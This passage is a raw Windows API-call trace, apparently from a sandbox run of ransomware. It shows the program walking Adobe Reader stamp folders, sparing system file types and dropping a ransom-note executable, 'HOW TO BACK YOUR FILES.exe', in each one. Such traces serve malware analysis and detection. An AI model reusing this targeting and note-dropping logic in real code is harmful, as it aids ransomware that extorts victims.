	[0057.814] lstrcmpiW (lpString1="pdf", lpString2="cma") returned 1
	[0057.814] lstrlenW (lpString="cpd") returned 3
	[0057.814] lstrcmpiW (lpString1="pdf", lpString2="cpd") returned 1
	[0057.814] lstrlenW (lpString="dacpac") returned 6
	[0057.814] lstrcmpiW (lpString1="ic.pdf", lpString2="dacpac") returned 1
	[0057.814] lstrlenW (lpString="dad") returned 3
	[0057.814] lstrcmpiW (lpString1="pdf", lpString2="dad") returned 1
	[0057.814] lstrlenW (lpString="dadiagrams") returned 10
	[0057.814] lstrcmpiW (lpString1="ynamic.pdf", lpString2="dadiagrams") returned 1
	[0057.814] lstrlenW (lpString="daschema") returned 8
	[0057.814] lstrcmpiW (lpString1="amic.pdf", lpString2="daschema") returned -1
	[0057.814] lstrlenW (lpString="db-journal") returned 10
	[0057.814] lstrcmpiW (lpString1="ynamic.pdf", lpString2="db-journal") returned 1
	[0057.814] lstrlenW (lpString="db-shm") returned 6
	[0057.814] lstrcmpiW (lpString1="ic.pdf", lpString2="db-shm") returned 1
	[0057.814] lstrlenW (lpString="db-wal") returned 6
	[0057.815] lstrcmpiW (lpString1="ic.pdf", lpString2="db-wal") returned 1
	[0057.815] lstrlenW (lpString="dbc") returned 3
	[0057.815] lstrcmpiW (lpString1="pdf", lpString2="dbc") returned 1
	[0057.815] lstrlenW (lpString="dbs") returned 3
	[0057.815] lstrcmpiW (lpString1="pdf", lpString2="dbs") returned 1
	[0057.815] lstrlenW (lpString="dbt") returned 3
	[0057.815] lstrcmpiW (lpString1="pdf", lpString2="dbt") returned 1
	[0057.815] lstrlenW (lpString="dbv") returned 3
	[0057.815] lstrcmpiW (lpString1="pdf", lpString2="dbv") returned 1
	[0057.815] lstrlenW (lpString="dbx") returned 3
	[0057.815] lstrcmpiW (lpString1="pdf", lpString2="dbx") returned 1
	[0057.815] lstrlenW (lpString="dcb") returned 3
	[0057.815] lstrcmpiW (lpString1="pdf", lpString2="dcb") returned 1
	[0057.815] lstrcpyW (in: lpString1=0x2d3e5f0, lpString2="Faces.pdf" | out: lpString1="Faces.pdf") returned="Faces.pdf"
	[0057.815] lstrlenW (lpString="Faces.pdf") returned 9
	[0057.815] lstrlenW (lpString="Apollon865") returned 10
	[0057.815] lstrlenW (lpString=".dll") returned 4
	[0057.815] lstrcmpiW (lpString1="Faces.pdf", lpString2=".dll") returned 1
	[0057.815] lstrlenW (lpString=".lnk") returned 4
	[0057.815] lstrcmpiW (lpString1="Faces.pdf", lpString2=".lnk") returned 1
	[0057.815] lstrlenW (lpString=".ini") returned 4
	[0057.815] lstrcmpiW (lpString1="Faces.pdf", lpString2=".ini") returned 1
	[0057.815] lstrlenW (lpString=".sys") returned 4
	[0057.815] lstrcmpiW (lpString1="Faces.pdf", lpString2=".sys") returned 1
	[0057.815] lstrlenW (lpString="Faces.pdf") returned 9
	[0057.815] lstrcpyW (in: lpString1=0x2d3e5f0, lpString2="Pointers.pdf" | out: lpString1="Pointers.pdf") returned="Pointers.pdf"
	[0057.815] lstrlenW (lpString="Pointers.pdf") returned 12
	[0057.815] lstrlenW (lpString="Apollon865") returned 10
	[0057.815] lstrcmpiW (lpString1="inters.pdf", lpString2="Apollon865") returned 1
	[0057.816] lstrlenW (lpString=".dll") returned 4
	[0057.816] lstrcmpiW (lpString1="Pointers.pdf", lpString2=".dll") returned 1
	[0057.816] lstrlenW (lpString=".lnk") returned 4
	[0057.816] lstrcmpiW (lpString1="Pointers.pdf", lpString2=".lnk") returned 1
	[0057.816] lstrlenW (lpString=".ini") returned 4
	[0057.816] lstrcmpiW (lpString1="Pointers.pdf", lpString2=".ini") returned 1
	[0057.816] lstrlenW (lpString=".sys") returned 4
	[0057.816] lstrcmpiW (lpString1="Pointers.pdf", lpString2=".sys") returned 1
	[0057.816] lstrlenW (lpString="Pointers.pdf") returned 12
	[0057.816] lstrcpyW (in: lpString1=0x2d3e5f0, lpString2="SignHere.pdf" | out: lpString1="SignHere.pdf") returned="SignHere.pdf"
	[0057.816] lstrlenW (lpString="SignHere.pdf") returned 12
	[0057.816] lstrlenW (lpString="Apollon865") returned 10
	[0057.816] lstrcmpiW (lpString1="gnHere.pdf", lpString2="Apollon865") returned 1
	[0057.816] lstrlenW (lpString=".dll") returned 4
	[0057.816] lstrcmpiW (lpString1="SignHere.pdf", lpString2=".dll") returned 1
	[0057.816] lstrlenW (lpString=".lnk") returned 4
	[0057.816] lstrcmpiW (lpString1="SignHere.pdf", lpString2=".lnk") returned 1
	[0057.816] lstrlenW (lpString=".ini") returned 4
	[0057.816] lstrcmpiW (lpString1="SignHere.pdf", lpString2=".ini") returned 1
	[0057.816] lstrlenW (lpString=".sys") returned 4
	[0057.816] lstrcmpiW (lpString1="SignHere.pdf", lpString2=".sys") returned 1
	[0057.816] lstrlenW (lpString="SignHere.pdf") returned 12
	[0057.816] lstrcpyW (in: lpString1=0x2d3e5f0, lpString2="Standard.pdf" | out: lpString1="Standard.pdf") returned="Standard.pdf"
	[0057.816] lstrlenW (lpString="Standard.pdf") returned 12
	[0057.816] lstrlenW (lpString="Apollon865") returned 10
	[0057.816] lstrcmpiW (lpString1="andard.pdf", lpString2="Apollon865") returned -1
	[0057.816] lstrlenW (lpString=".dll") returned 4
	[0057.816] lstrcmpiW (lpString1="Standard.pdf", lpString2=".dll") returned 1
	[0057.816] lstrlenW (lpString=".lnk") returned 4
	[0057.817] lstrcmpiW (lpString1="Standard.pdf", lpString2=".lnk") returned 1
	[0057.817] lstrlenW (lpString=".ini") returned 4
	[0057.817] lstrcmpiW (lpString1="Standard.pdf", lpString2=".ini") returned 1
	[0057.817] lstrlenW (lpString=".sys") returned 4
	[0057.817] lstrcmpiW (lpString1="Standard.pdf", lpString2=".sys") returned 1
	[0057.817] lstrlenW (lpString="Standard.pdf") returned 12
	[0057.817] lstrcpyW (in: lpString1=0x2d3e5f0, lpString2="StandardBusiness.pdf" | out: lpString1="StandardBusiness.pdf") returned="StandardBusiness.pdf"
	[0057.817] lstrlenW (lpString="StandardBusiness.pdf") returned 20
	[0057.817] lstrlenW (lpString="Apollon865") returned 10
	[0057.817] lstrcmpiW (lpString1="siness.pdf", lpString2="Apollon865") returned 1
	[0057.817] lstrlenW (lpString=".dll") returned 4
	[0057.817] lstrcmpiW (lpString1="StandardBusiness.pdf", lpString2=".dll") returned 1
	[0057.817] lstrlenW (lpString=".lnk") returned 4
	[0057.817] lstrcmpiW (lpString1="StandardBusiness.pdf", lpString2=".lnk") returned 1
	[0057.817] lstrlenW (lpString=".ini") returned 4
	[0057.817] lstrcmpiW (lpString1="StandardBusiness.pdf", lpString2=".ini") returned 1
	[0057.817] lstrlenW (lpString=".sys") returned 4
	[0057.817] lstrcmpiW (lpString1="StandardBusiness.pdf", lpString2=".sys") returned 1
	[0057.817] lstrlenW (lpString="StandardBusiness.pdf") returned 20
	[0057.817] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\TUR", iMaxLength=260 | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\TUR") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\TUR"
	[0057.817] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5cb660 | out: hHeap=0x580000) returned 1
	[0057.817] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fde8 | out: hHeap=0x580000) returned 1
	[0057.817] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\TUR") returned 79
	[0057.817] lstrcatW (in: lpString1="", lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\TUR" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\TUR") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\TUR"
	[0057.817] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0057.817] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\TUR\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\tur\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0057.825] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0057.825] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\TUR\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x806266a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x3a899bb0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x3a899bb0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca2d0
	[0057.825] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0057.825] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0057.826] lstrcpyW (in: lpString1=0x2d3e5f0, lpString2="Dynamic.pdf" | out: lpString1="Dynamic.pdf") returned="Dynamic.pdf"
	[0057.826] lstrlenW (lpString="Dynamic.pdf") returned 11
	[0057.826] lstrlenW (lpString="Apollon865") returned 10
	[0057.826] lstrcmpiW (lpString1="ynamic.pdf", lpString2="Apollon865") returned 1
	[0057.826] lstrlenW (lpString=".dll") returned 4
	[0057.826] lstrcmpiW (lpString1="Dynamic.pdf", lpString2=".dll") returned 1
	[0057.826] lstrlenW (lpString=".lnk") returned 4
	[0057.826] lstrcmpiW (lpString1="Dynamic.pdf", lpString2=".lnk") returned 1
	[0057.826] lstrlenW (lpString=".ini") returned 4
	[0057.826] lstrcmpiW (lpString1="Dynamic.pdf", lpString2=".ini") returned 1
	[0057.826] lstrlenW (lpString=".sys") returned 4
	[0057.826] lstrcmpiW (lpString1="Dynamic.pdf", lpString2=".sys") returned 1
	[0057.826] lstrlenW (lpString="Dynamic.pdf") returned 11
	[0057.826] lstrcpyW (in: lpString1=0x2d3e5f0, lpString2="Faces.pdf" | out: lpString1="Faces.pdf") returned="Faces.pdf"
	[0057.826] lstrlenW (lpString="Faces.pdf") returned 9
	[0057.826] lstrlenW (lpString="Apollon865") returned 10
	[0057.826] lstrlenW (lpString=".dll") returned 4
	[0057.826] lstrcmpiW (lpString1="Faces.pdf", lpString2=".dll") returned 1
	[0057.826] lstrlenW (lpString=".lnk") returned 4
	[0057.826] lstrcmpiW (lpString1="Faces.pdf", lpString2=".lnk") returned 1
	[0057.826] lstrlenW (lpString=".ini") returned 4
	[0057.826] lstrcmpiW (lpString1="Faces.pdf", lpString2=".ini") returned 1
	[0057.826] lstrlenW (lpString=".sys") returned 4
	[0057.826] lstrcmpiW (lpString1="Faces.pdf", lpString2=".sys") returned 1
	[0057.826] lstrlenW (lpString="Faces.pdf") returned 9
	[0057.826] lstrcpyW (in: lpString1=0x2d3e5f0, lpString2="Pointers.pdf" | out: lpString1="Pointers.pdf") returned="Pointers.pdf"
	[0057.827] lstrlenW (lpString="Pointers.pdf") returned 12
	[0057.827] lstrlenW (lpString="Apollon865") returned 10
	[0057.827] lstrcmpiW (lpString1="inters.pdf", lpString2="Apollon865") returned 1
	[0057.827] lstrlenW (lpString=".dll") returned 4
	[0057.827] lstrcmpiW (lpString1="Pointers.pdf", lpString2=".dll") returned 1
	[0057.827] lstrlenW (lpString=".lnk") returned 4
	[0057.827] lstrcmpiW (lpString1="Pointers.pdf", lpString2=".lnk") returned 1
	[0057.827] lstrlenW (lpString=".ini") returned 4
	[0057.827] lstrcmpiW (lpString1="Pointers.pdf", lpString2=".ini") returned 1
	[0057.827] lstrlenW (lpString=".sys") returned 4
	[0057.827] lstrcmpiW (lpString1="Pointers.pdf", lpString2=".sys") returned 1
	[0057.827] lstrlenW (lpString="Pointers.pdf") returned 12
	[0057.827] lstrcpyW (in: lpString1=0x2d3e5f0, lpString2="SignHere.pdf" | out: lpString1="SignHere.pdf") returned="SignHere.pdf"
	[0057.827] lstrlenW (lpString="SignHere.pdf") returned 12
	[0057.827] lstrlenW (lpString="Apollon865") returned 10
	[0057.827] lstrcmpiW (lpString1="gnHere.pdf", lpString2="Apollon865") returned 1
	[0057.827] lstrlenW (lpString=".dll") returned 4
	[0057.827] lstrcmpiW (lpString1="SignHere.pdf", lpString2=".dll") returned 1
	[0057.827] lstrlenW (lpString=".lnk") returned 4
	[0057.827] lstrcmpiW (lpString1="SignHere.pdf", lpString2=".lnk") returned 1
	[0057.827] lstrlenW (lpString=".ini") returned 4
	[0057.827] lstrcmpiW (lpString1="SignHere.pdf", lpString2=".ini") returned 1
	[0057.827] lstrlenW (lpString=".sys") returned 4
	[0057.827] lstrcmpiW (lpString1="SignHere.pdf", lpString2=".sys") returned 1
	[0057.827] lstrlenW (lpString="SignHere.pdf") returned 12
	[0057.827] lstrcpyW (in: lpString1=0x2d3e5f0, lpString2="Standard.pdf" | out: lpString1="Standard.pdf") returned="Standard.pdf"
	[0057.827] lstrlenW (lpString="Standard.pdf") returned 12
	[0057.827] lstrlenW (lpString="Apollon865") returned 10
	[0057.827] lstrcmpiW (lpString1="andard.pdf", lpString2="Apollon865") returned -1
	[0057.827] lstrlenW (lpString=".dll") returned 4
	[0057.828] lstrcmpiW (lpString1="Standard.pdf", lpString2=".dll") returned 1
	[0057.828] lstrlenW (lpString=".lnk") returned 4
	[0057.828] lstrcmpiW (lpString1="Standard.pdf", lpString2=".lnk") returned 1
	[0057.828] lstrlenW (lpString=".ini") returned 4
	[0057.828] lstrcmpiW (lpString1="Standard.pdf", lpString2=".ini") returned 1
	[0057.828] lstrlenW (lpString=".sys") returned 4
	[0057.828] lstrcmpiW (lpString1="Standard.pdf", lpString2=".sys") returned 1
	[0057.828] lstrlenW (lpString="Standard.pdf") returned 12
	[0057.828] lstrcpyW (in: lpString1=0x2d3e5f0, lpString2="StandardBusiness.pdf" | out: lpString1="StandardBusiness.pdf") returned="StandardBusiness.pdf"
	[0057.828] lstrlenW (lpString="StandardBusiness.pdf") returned 20
	[0057.828] lstrlenW (lpString="Apollon865") returned 10
	[0057.828] lstrcmpiW (lpString1="siness.pdf", lpString2="Apollon865") returned 1
	[0057.828] lstrlenW (lpString=".dll") returned 4
	[0057.828] lstrcmpiW (lpString1="StandardBusiness.pdf", lpString2=".dll") returned 1
	[0057.828] lstrlenW (lpString=".lnk") returned 4
	[0057.828] lstrcmpiW (lpString1="StandardBusiness.pdf", lpString2=".lnk") returned 1
	[0057.828] lstrlenW (lpString=".ini") returned 4
	[0057.828] lstrcmpiW (lpString1="StandardBusiness.pdf", lpString2=".ini") returned 1
	[0057.828] lstrlenW (lpString=".sys") returned 4
	[0057.828] lstrcmpiW (lpString1="StandardBusiness.pdf", lpString2=".sys") returned 1
	[0057.828] lstrlenW (lpString="StandardBusiness.pdf") returned 20
	[0057.828] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\SVE", iMaxLength=260 | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\SVE") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\SVE"
	[0057.828] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5cb5b8 | out: hHeap=0x580000) returned 1
	[0057.828] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fdc8 | out: hHeap=0x580000) returned 1
	[0057.828] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\SVE") returned 79
	[0057.828] lstrcatW (in: lpString1="", lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\SVE" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\SVE") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\SVE"
	[0057.828] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0057.829] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\SVE\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\sve\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0057.836] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0057.836] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\SVE\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7ff024a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x3a8bfd10, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x3a8bfd10, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca2d0
	[0057.836] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0057.836] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0057.837] lstrcpyW (in: lpString1=0x2d3e5f0, lpString2="Dynamic.pdf" | out: lpString1="Dynamic.pdf") returned="Dynamic.pdf"
	[0057.837] lstrlenW (lpString="Dynamic.pdf") returned 11
	[0057.837] lstrlenW (lpString="Apollon865") returned 10
	[0057.837] lstrcmpiW (lpString1="ynamic.pdf", lpString2="Apollon865") returned 1
	[0057.837] lstrlenW (lpString=".dll") returned 4
	[0057.837] lstrcmpiW (lpString1="Dynamic.pdf", lpString2=".dll") returned 1
	[0057.837] lstrlenW (lpString=".lnk") returned 4
	[0057.837] lstrcmpiW (lpString1="Dynamic.pdf", lpString2=".lnk") returned 1
	[0057.837] lstrlenW (lpString=".ini") returned 4
	[0057.837] lstrcmpiW (lpString1="Dynamic.pdf", lpString2=".ini") returned 1
	[0057.837] lstrlenW (lpString=".sys") returned 4
	[0057.837] lstrcmpiW (lpString1="Dynamic.pdf", lpString2=".sys") returned 1
	[0057.837] lstrlenW (lpString="Dynamic.pdf") returned 11
	[0057.837] lstrcpyW (in: lpString1=0x2d3e5f0, lpString2="SignHere.pdf" | out: lpString1="SignHere.pdf") returned="SignHere.pdf"
	[0057.837] lstrlenW (lpString="SignHere.pdf") returned 12
	[0057.837] lstrlenW (lpString="Apollon865") returned 10
	[0057.837] lstrcmpiW (lpString1="gnHere.pdf", lpString2="Apollon865") returned 1
	[0057.837] lstrlenW (lpString=".dll") returned 4
	[0057.837] lstrcmpiW (lpString1="SignHere.pdf", lpString2=".dll") returned 1
	[0057.837] lstrlenW (lpString=".lnk") returned 4
	[0057.837] lstrcmpiW (lpString1="SignHere.pdf", lpString2=".lnk") returned 1
	[0057.837] lstrlenW (lpString=".ini") returned 4
	[0057.837] lstrcmpiW (lpString1="SignHere.pdf", lpString2=".ini") returned 1
	[0057.837] lstrlenW (lpString=".sys") returned 4
	[0057.837] lstrcmpiW (lpString1="SignHere.pdf", lpString2=".sys") returned 1
	[0057.837] lstrlenW (lpString="SignHere.pdf") returned 12
	[0057.838] lstrcpyW (in: lpString1=0x2d3e5f0, lpString2="StandardBusiness.pdf" | out: lpString1="StandardBusiness.pdf") returned="StandardBusiness.pdf"
	[0057.838] lstrlenW (lpString="StandardBusiness.pdf") returned 20
	[0057.838] lstrlenW (lpString="Apollon865") returned 10
	[0057.838] lstrcmpiW (lpString1="siness.pdf", lpString2="Apollon865") returned 1
	[0057.838] lstrlenW (lpString=".dll") returned 4
	[0057.838] lstrcmpiW (lpString1="StandardBusiness.pdf", lpString2=".dll") returned 1
	[0057.838] lstrlenW (lpString=".lnk") returned 4
	[0057.838] lstrcmpiW (lpString1="StandardBusiness.pdf", lpString2=".lnk") returned 1
	[0057.838] lstrlenW (lpString=".ini") returned 4
	[0057.838] lstrcmpiW (lpString1="StandardBusiness.pdf", lpString2=".ini") returned 1
	[0057.838] lstrlenW (lpString=".sys") returned 4
	[0057.838] lstrcmpiW (lpString1="StandardBusiness.pdf", lpString2=".sys") returned 1
	[0057.838] lstrlenW (lpString="StandardBusiness.pdf") returned 20
	[0057.838] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\SUO", iMaxLength=260 | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\SUO") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\SUO"
	[0057.838] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5cb510 | out: hHeap=0x580000) returned 1
	[0057.838] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fd08 | out: hHeap=0x580000) returned 1
	[0057.838] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\SUO") returned 79
	[0057.838] lstrcatW (in: lpString1="", lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\SUO" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\SUO") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\SUO"
	[0057.838] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0057.838] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\SUO\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\suo\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0057.844] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0057.844] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\SUO\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7f804400, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x3a8bfd10, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x3a8bfd10, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca2d0
	[0057.845] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0057.845] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0057.845] lstrcpyW (in: lpString1=0x2d3e5f0, lpString2="Dynamic.pdf" | out: lpString1="Dynamic.pdf") returned="Dynamic.pdf"
	[0057.845] lstrlenW (lpString="Dynamic.pdf") returned 11
	[0057.845] lstrlenW (lpString="Apollon865") returned 10
	[0057.845] lstrcmpiW (lpString1="ynamic.pdf", lpString2="Apollon865") returned 1
	[0057.845] lstrlenW (lpString=".dll") returned 4
	[0057.845] lstrcmpiW (lpString1="Dynamic.pdf", lpString2=".dll") returned 1
	[0057.845] lstrlenW (lpString=".lnk") returned 4
	[0057.845] lstrcmpiW (lpString1="Dynamic.pdf", lpString2=".lnk") returned 1
	[0057.845] lstrlenW (lpString=".ini") returned 4
	[0057.845] lstrcmpiW (lpString1="Dynamic.pdf", lpString2=".ini") returned 1
	[0057.845] lstrlenW (lpString=".sys") returned 4
	[0057.845] lstrcmpiW (lpString1="Dynamic.pdf", lpString2=".sys") returned 1
	[0057.845] lstrlenW (lpString="Dynamic.pdf") returned 11
	[0057.845] lstrcpyW (in: lpString1=0x2d3e5f0, lpString2="SignHere.pdf" | out: lpString1="SignHere.pdf") returned="SignHere.pdf"
	[0057.845] lstrlenW (lpString="SignHere.pdf") returned 12
	[0057.845] lstrlenW (lpString="Apollon865") returned 10
	[0057.845] lstrcmpiW (lpString1="gnHere.pdf", lpString2="Apollon865") returned 1
	[0057.845] lstrlenW (lpString=".dll") returned 4
	[0057.845] lstrcmpiW (lpString1="SignHere.pdf", lpString2=".dll") returned 1
	[0057.845] lstrlenW (lpString=".lnk") returned 4
	[0057.845] lstrcmpiW (lpString1="SignHere.pdf", lpString2=".lnk") returned 1
	[0057.846] lstrlenW (lpString=".ini") returned 4
	[0057.846] lstrcmpiW (lpString1="SignHere.pdf", lpString2=".ini") returned 1
	[0057.846] lstrlenW (lpString=".sys") returned 4
	[0057.846] lstrcmpiW (lpString1="SignHere.pdf", lpString2=".sys") returned 1
	[0057.846] lstrlenW (lpString="SignHere.pdf") returned 12
	[0057.846] lstrcpyW (in: lpString1=0x2d3e5f0, lpString2="StandardBusiness.pdf" | out: lpString1="StandardBusiness.pdf") returned="StandardBusiness.pdf"
	[0057.846] lstrlenW (lpString="StandardBusiness.pdf") returned 20
	[0057.846] lstrlenW (lpString="Apollon865") returned 10
	[0057.846] lstrcmpiW (lpString1="siness.pdf", lpString2="Apollon865") returned 1
	[0057.846] lstrlenW (lpString=".dll") returned 4
	[0057.846] lstrcmpiW (lpString1="StandardBusiness.pdf", lpString2=".dll") returned 1
	[0057.846] lstrlenW (lpString=".lnk") returned 4
	[0057.846] lstrcmpiW (lpString1="StandardBusiness.pdf", lpString2=".lnk") returned 1
	[0057.846] lstrlenW (lpString=".ini") returned 4
	[0057.846] lstrcmpiW (lpString1="StandardBusiness.pdf", lpString2=".ini") returned 1
	[0057.846] lstrlenW (lpString=".sys") returned 4
	[0057.846] lstrcmpiW (lpString1="StandardBusiness.pdf", lpString2=".sys") returned 1
	[0057.846] lstrlenW (lpString="StandardBusiness.pdf") returned 20
	[0057.846] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\SLV", iMaxLength=260 | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\SLV") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\SLV"
	[0057.846] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5cb468 | out: hHeap=0x580000) returned 1
	[0057.846] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fce8 | out: hHeap=0x580000) returned 1
	[0057.846] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\SLV") returned 79
	[0057.846] lstrcatW (in: lpString1="", lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\SLV" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\SLV") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\SLV"
	[0057.846] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
